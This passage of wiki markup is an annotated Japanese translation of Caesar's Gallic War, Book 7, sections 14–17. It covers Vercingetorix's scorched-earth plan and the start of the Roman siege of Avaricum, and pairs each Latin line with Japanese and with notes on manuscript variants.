**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
